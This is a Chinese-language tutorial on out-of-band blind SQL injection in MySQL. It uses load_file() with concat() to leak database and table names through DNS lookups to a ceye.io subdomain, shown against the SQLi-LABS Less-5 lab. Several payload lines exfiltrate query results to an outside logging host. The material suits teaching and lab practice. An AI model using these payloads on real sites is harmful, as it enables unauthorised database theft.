SQL注入奇巧淫技——利用DNSLOG獲取看不到的資訊
對於sql盲注,常見的方法就是二分法去一個個猜,但是這樣的方法麻煩不說,還很容易因為資料請求頻繁導致被ban,所以可以將select到的資料傳送給一個url,利用dns解析產生的記錄日誌來檢視資料。
DNS在解析的時候會留下日誌,咱們這個就是讀取多級域名的解析日誌,來獲取資訊
簡單來說就是把資訊放在高階域名中,傳遞到自己這,然後讀取日誌,獲取資訊
首先,你得有一個域名(like: abc.com),搭建好vps環境,之後訪問XXXXX.abc.com,dns服務會將此解析放入log記錄中,之後我們可以通過檢視log記錄來獲取之前select查詢到的資訊。
如果沒有自己的vps,沒有相關條件怎麼辦?
網上也有不少這樣的dnslog平臺
這裡推薦一個免費的:http://ceye.io
這個我點選進去之後,沒有賬戶肯定是需要註冊一個的,但是我發現我的使用者名稱被註冊了?我這麼奇葩的暱稱也會有人註冊?沒辦法,那就換個使用者名稱,什麼?郵箱也被註冊了?不要逗我好不好……之後當我點選忘記密碼登陸進去的時候才知道,這個是知道創宇的404 Team,之前因為一些事需要zoomeye獲取些資料,所以是早就註冊了了的。
用法也很簡單,只要有賬戶,便會給你提供一個二級域名XXX.ceye.io,我們只要將資訊放在三級域名那就可以收到資訊了,例如上面幾個例子,訪問aaa.XXX.ceye.io,這個資訊就被記錄下來了。(個人感覺挺好的,除了訪問速度稍微慢了些...)
附:http://ceye.io/payloads 各種情況下ceye.io的使用方法
在這裡介紹一下mysql中load_file()函式
LOAD_FILE(file_name)
讀取檔案並返回檔案內容為字串。要使用此函式,檔案必須位於伺服器主機上,必須指定完整路徑的檔案,而且必須有FILE許可權。 該檔案所有位元組可讀,但檔案內容必須小於max_allowed_packet。
如果該檔案不存在或無法讀取,因為前面的條件之一不滿足,函式返回 NULL。
在MySQL5.0.19,character_set_filesystem系統變數控制檔名的解釋,即僅作文字字串。
【轉】MYSQL注入中load_file()函式的進一步應用
原文發表於《黑客防線》2008年第11期
理論上,如果許可權足夠,可以讀取伺服器上任意檔案
實際上load_file()函式還可以用來發送dns解析請求
接下來就嘗試獲取資料
利用payload是:
load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))
concat是字串拼接
database()就是你要做SQL注入查詢的地方
'.xxxx.ceye.io\abc'就是你的dnslog平臺給你的域名
後面的abc可以改也可以不改,無所謂的,你樂意寫啥就寫啥
上面拼接的結果就是'\\\\ schema_name.XXXX.ceye.io\\abc',其實相當於訪問了帶有資料庫名稱的三級域名,被dnslog捕獲到了
例如SQLi-LABS 第五關:
payload?id=1' and if((select load_file(concat('\\\\',(select database()),'.XXXXX.ceye.io\\abc'))),1,1)--+
然後檢視ceye,成功獲取到了資料庫名稱
對於表段,由於load_file()一次只能傳輸一條資料,所以查詢的時候需要使用limit來一個一個的解析。http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.XXXX.ceye.io\\abc'))),1,1)--+